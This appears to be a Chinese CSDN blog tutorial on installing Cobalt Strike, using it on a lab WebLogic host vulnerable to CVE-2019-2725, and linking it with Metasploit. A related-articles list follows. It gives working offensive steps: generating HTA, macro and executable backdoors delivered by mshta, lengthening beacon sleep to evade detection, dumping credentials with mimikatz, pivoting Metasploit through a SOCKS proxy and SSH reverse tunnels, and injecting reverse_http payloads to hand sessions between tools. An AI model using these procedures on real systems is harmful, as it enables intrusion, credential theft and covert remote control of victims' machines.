文章目录

  • 安装CS
    • 安装Java
    • CS服务器安装与后台运行
  • CS模拟实战
  • CS联动MSF
    • MSF通过CS代理连接目标服务器
    • CS将监听目标传给MSF的会话(sessions)模块
    • MSF将会话(sessions)模块传给CS的监听器

安装CS

下方我会将cobaltstrike简称为CS,csdn的下载中已经有很多CS的资源了,需要可以自行寻找下载。
相比于MSF,CS的主要用来团队作案 作战,并且有着因为有着完善的可视化界面,所以本博客并不会单独介绍CS的功能,除了安装外,本博客会已模拟实战的方式来介绍CS的用法。
CS分为服务端和客户端,服务端当前只能运行在Linux系统中,并且最好是有固定IP的公网服务器中!首先CS需要Java的支持,我们要安装Java环境,下方我提供了两种常用的Java安装方式,cs最好为Java7以上版本。

安装Java

  1. 方法一: 使用apt或者yum直接安装
# 搜索当前的java相关的jdk包(可以直接跳过这一步)
yum search java|grep jdk
# 下载指定版本的java
yum install java-1.8.0-openjdk*
  1. 方法二: 没有apt或者yum等包管理器的系统,或者apt、yum中没有java
# 下载java压缩包
wget https://repo.huaweicloud.com/java/jdk/8u171-b11/jdk-8u171-linux-x64.tar.gz
# 解压文件到指定目录中
tar -zxvf jdk-8u171-linux-x64.tar.gz -C /usr/lib/
# 添加环境变量
echo "export JAVA_HOME=/usr/lib/jdk1.8.0_171/" >> /etc/profile
echo "export JRE_HOME=/usr/lib/jdk1.8.0_171/jre" >> /etc/profile
echo "export PATH=\$JAVA_HOME/bin:\$JAVA_HOME/jre/bin:\$PATH" >> /etc/profile
echo "export CLASSPATH=\$CLASSPATH:.:\$JAVA_HOME/lib:\$JAVA_HOME/jre/lib" >> /etc/profile
# 重新加载环境变量文件,让环境变量生效
source /etc/profile
# 清理多余的安装包
rm jdk-8u171-linux-x64.tar.gz

CS服务器安装与后台运行

这里我当前使用的是一个CS4汉化版,下载地址(这个我看了一下目录大致相同,但并非我本人使用的,如果你有更好的选择也可以直接使用,CS4使用大致都相同!),具体目录如下图所示,CS

这里我们可以使用一些编译器或者记事本将teamserver.bat打开,修改默认服务端启动端口。(也可以使用默认值50050,不做修改)

将整个CS传入公网服务器中,并且执行指令./teamserver 公网IP 密码即可启动服务端(公网IP必须是IP地址,不能是域名!)

然后在本地打开客户端,输入之前设定的信息即可连接

PS:上述在公网IP中启动cs服务端的方法因为是依赖我们的ssh进程存在的,所以我们如果关闭了连接,cs客户端也会随之关闭,如果想要客户端在后台运行,我们需要添加后台指令

# nohup为no hang up的简写,是不要挂起指定的命令,而&则使让我的命令在后台运行。
nohup ./teamserver 公网IP地址 密码 &
# 如果想要杀掉这个后台应用,我们可以先试用ps查看他的pid
ps -ef | grep server.TeamServer
# 在使用关闭命令将其彻底关闭
kill -9 PID号


成功上线后,我们可以使用
/names 查看当前所有用户,或者/msg 用户名 消息对指定用户发送消息。

CS模拟实战

靶机: 当前靶机为我内网中的一个WebLogic的10.3.6版本,拥有漏洞`CVE-2019-2725。

  1. 启动监听器: 使用CS一般最先用到的功能就是使用监听器创建攻击载荷,先想办法让目标机器上线!

  2. 装载攻击载荷: 一般我们主要生成后门。

    • HTML Application: 生成.hta HTML应用程序

      然后选择钓鱼攻击中的文件下载,生成一个下载链接,然后在漏洞利用工具中使用mshta 下载地址来上传和执行我们的攻击载荷
    • MS Office Macro: 生成恶意宏放入office文件,在启用宏状态下,启动文档即会自动执行!
    • Payload Generator: 生成各种语言版本的payload
    • Windows Executable: Windows下的可执行文件(相当于小马,主要只负责目标上线,功能少,不容易被发现)
    • Windows Executable(S): stageless生成全功能被控端(相当于大马,功能齐全,但容易被杀软拦截)

    3~5的三种方法只需想办法让目标运行生成的脚本文件或程序即可让目标机器上线!

    1. scripts Web Delivery: 生成无文件的攻击载荷,只需将命令在目标机器中执行即可!
  3. 控制靶机
    首先我们可以修改一下默认发送周期,一般睡眠时间设置越长越不容易被发现,这里因为我们的目标是靶机,为了方便测试后续功能,我设置成了0,设置好睡眠时间后进入目标控制台!
    在目标控制台我们可以输入help查看CS的所有方法!部分常用功能也可以右键目标主机中选择。

    其中很多功能需要在高权限用户中执行!
    权限排行SYSTEM>administrator(管理员)>其他用户>访客
    一般administrator用户是可以通过提权到SYSTEM用户的。

    获取到的凭证信息hashdumplogonpasswords,我们可以通过彩虹表尝试解密出其明文密码
    可以使用CS中内置了强大的猕猴桃(mimikatz)如何利用猕猴桃可以在我介绍获取Windows系统密码凭证的博客中具体查看

CS联动MSF

MSF通过CS代理连接目标服务器

msf非常适合在内网中运行,但如果我们碰到一种情况,就是我们目标高价值的机器比如说域控处在内网中(域控可以理解为是网吧中网管用的那台机器!控制了他就相当于控制了网吧中所有的机器。俗称域霸 ),并没有直接和外网连接,这时候我们就需要依靠拥有强大功能的CS进行一次代理来让我们的msf上线。

  1. 首先我们上线目标主机后启动代理服务器代理服务(SOCKS Server),然后在CS服务器中执行,查看代理端口是否上线netstat -tunlp | grep 代理服务器端口(如果返回一个Java相关程序启动的端口则大概率就成功了)。
  2. 配置MSF代理,我尝试了下面两种代理方式,发现如果想要使用代理进行大批量扫描,速度都会十分感人(缓慢 )!
    • 方法一: 使用proxychains4进行全局MSF代理

      # 配置代理(将其修改为CS服务器地址和代理开放端口,当前只支持socks)
      vim /etc/proxychains4.conf
      # 使用代理proxychains进入MSF控制台
      proxychains msfconsole
      # 使用proxychains可以对任意命令生效,比如我可以使用下列命令测试是否可以访问内网网站
      proxychains curl http://10.10.10.10
      

    • 方法二: 在msf内部代理,进入msf控制台后直接输入setg Proxies socks4:IP地址:端口即可!

CS将监听目标传给MSF的会话(sessions)模块

PS: 因为CS的渗透比较方便,MSF的后渗透比较完善,所以大部分情况都是将CS目标传入MSF中!

  1. 配置MSF控制台
# 进入msf控制台
msfconsole
# 使用通用攻击载荷处理程序
use exploit/multi/handler
# 这里的攻击载荷需要和CS中使用的一致
# CS中我使用的是windows/beacon_http/reverse_http(Beacon HTTP)
# 相当于MSF中的windows/meterpreter/reverse_http
# 还一个常用的Beacon TCP相当于windows/meterpreter/reverse_tcp
set payload 攻击载荷
set lhost kali的IP
set lport ForeignHTTP监听器的端口
# 启动监听
run

上述情况下,我们需要kali能和目标机器直连,所以要么是kali和目标在同一内网中,要么是kali有公网IP,如果上述两个条件均无法达到,我们这可以尝试使用一个公网服务器进行一次转发,来完成kali对目标的连接。

# 配置SSH隧道,启动设置如下图所示的四处设置为yes
# 这需要在公网服务器中进行,这需要在公网服务器中进行,这需要在公网服务器中进行!
vim /etc/ssh/sshd_config
# 这是需要打开的配置
AllowTcpForwarding yes
GatewayPorts yes
TCPKeepAlive yes
PasswordAuthentication yes
# 重启SSH服务
systemctl restart sshd.service
# 重启ssh服务后,建立经过压缩(-C)的后台(-f)静默(-N)允许(-g)远程端口转发(-R)的ssh连接。可以使用-p参数指定公网服务器的ssh所在接口,默认22
# 这一步在kali中进行!
ssh -C -f -N -g -R 0.0.0.0:10088:本地kaliIP:10088 root@公网服务器IP


2. 这里因为我的kali和目标机器已经处于同一内网网段中,所以无需经过中转可直接连接,我们在CS中新建一个监听器,选择Foreign Http为我们的攻击载荷,下面输入的IP地址(HTTP Host)为我们的kali所在地址,或者使用已经进行上述转发配置的公网服务器的IP即可!

MSF将会话(sessions)模块传给CS的监听器

这种情况虽然少见,但也有办法实现!

  1. 新建一个监听器,使用已有的一个监听器也是可以的!这里我们需要记住上述监听器的IP地址和端口下方会用到。
  2. 在MSF中的指定回话里再次载入一个攻击载荷,来让目标上线CS的监听器!
# 装载一个再次注入攻击载荷的模块
use exploit/windows/local/payload_inject
# 选择攻击载荷(上面讲过怎么选择攻击载荷,这里就不讲了)
set payload windows/meterpreter/reverse_http
# 填写上述监听器的IP地址
set lhost CS所在服务器地址
# 填写上述监听器的端口
set lport 8023
# 选择需要给CS的回话
set session 1
# 禁用攻击载荷的相关监听否则可能会产生冲突。
set disablepayloadhandler true
# 启动即可在CS中收到监听目标
run

cobaltstrike如何安装使用(包含CS联动MSF详细用法!)? (゚益゚メ) 渗透测试相关推荐

  1. 细说——CS联动MSF

    目录 环境准备 CS --> MSF ubuntu准备 cs客户机器准备 msf准备 补充 MSF --> CS MSF准备 ubuntu-cs准备 网上的文章,写的很简洁,看的脑壳疼,自 ...

  2. Kali利用msf对MS10_061漏洞进行渗透测试

    注意事项: kail首次打开metasploit,会初始化数据,可能会有点慢,请耐心等待! 本文仅供学习漏洞渗透测试,不得用于其他非法用途,否则造成的任何后果自负!!! 1. Metasploit简介 ...

  3. 基于msf与badusb的笔记本电脑渗透测试(详解)

    文章目录 1. msf部分 1.1 生成木马文件 1.2 配置监听环境 2. Badusb部分 2.1 收集数据 2.2 编写脚本并上传 3. 配置局域网环境 3.1 创建局域网环境 3.2 设置共享 ...

  4. cobaltstrike的安装与基础使用

    数据来源 本文仅用于信息安全学习,请遵守相关法律法规,严禁用于非法途径.若观众因此作出任何危害网络安全的行为,后果自负,与本人无关. Cobalt Strike是什么?         Cobalt ...

  5. CobalStrike(CS)基础超级详细版

    仅供学习使用,请勿用于非法用途,后果自负! CobalStrike简介 CobalStrike目录结构 Cobalstrike基本使用 CS安装 CS启动 CS页面介绍 cobalstrike菜单 v ...

  6. 遮天 | 实战绕过卡巴斯基、Defender上线CS和MSF及动态命令执行...

    # zTian.red:绕过卡巴斯基.360安全卫士.Windows Defender动态执行CS.MSF命令... 测试目标:Windows Defender.卡巴斯基.360安全卫士极速版 系统环 ...

  7. 【渗透测试框架】Metasploit-Framework(MSF)安装与使用

    文章目录 前言 一.Metasploit简介 二.Metasploit安装及更新 一键安装 更新Metasploit 三.Metasploit数据库连接 四.Metasploit模块介绍 Exploi ...

  8. Ubuntu中安装部署Intel CS WebRTC

    0.引言 研究Intel CS WebRTC时,需要搭建环境,按官网或网上找到的文档进行搭建都发现有各种问题,由于相关资料比较少,不好进行排查解决. 本文将最终部署成功的部署进行说明,希望对后来者能有 ...

  9. MySQL安装教程包含所有平台(图解),MySQL下载步骤详解(带安装教程)

    现在作为服务器的操作系统一般有两种,分别是 Windows Server 和 Linux,这里我们分别介绍在 Windows 下和 Linux 下安装 MySQL 的具体操作步骤. MySQL安装教程 ...

最新文章

  1. CCNA实验(9) -- Frame Relay
  2. 有人WIFI模块使用详解
  3. python字符串的表示形式_python - 如何为类对象创建自定义字符串表示形式?_class_酷徒编程知识库...
  4. 直接拿来用!Google 新推 AI 模型打破了现有 CNN 技术壁垒
  5. 【Linux复习——温故知新
  6. 《趣题学算法》—第1章1.2节简单的数学计算
  7. Chrome浏览器长截图
  8. OpenCV: 读取图片中某个点的像素值
  9. python颜色名称_中文颜色名称与RGB颜色对照表
  10. LSB算法BMP图片信息隐藏技术 c语言
  11. 微信小程序(脱敏处理,通过身份证判断性别,时间段的倒计时)
  12. 使用FreeHttp强制登出微信公众号登陆状态(实现~原理)
  13. linux usb 从芯片,新人求教,怎么烧录Linux系统到一个小芯片上?
  14. 企业网站优化操作步骤分享
  15. sql 如果不存在则插入,存在则不操作或修改
  16. virtualenv: error: argument dest: the destination . is not write-able at /User/de/ .virtualenvs解决方法
  17. 宿迁学院计算机考点,考研:一年辛苦复习敌不过考试两天奔波 为什么宿迁学院不能设考点...
  18. EC20 4G 海思 3520D 拨号失败(APN需要设置为三大运营商的指定值)
  19. hype3 响应布局_使用Hype 3的基于时间轴的Web动画
  20. 让excel朗读英文单词本

热门文章

  1. Qt焦点事件 setFocusPolicy
  2. 【分组后的统计及求和的SQL】
  3. Python pyecharts地理数据可视化 绘制地理图表
  4. 图神经网络笔记(二)——卷积图神经网络概述
  5. VMT model 简介
  6. 多功能的small_vmt_hook
  7. 116张!2021年最全铁塔排名(含图片)值得收藏!
  8. 电商数据库详细设计说明书
  9. GIthub上关于新冠肺炎数据整理的项目汇总
  10. C++随机产生任意类型某个区间范围的随机数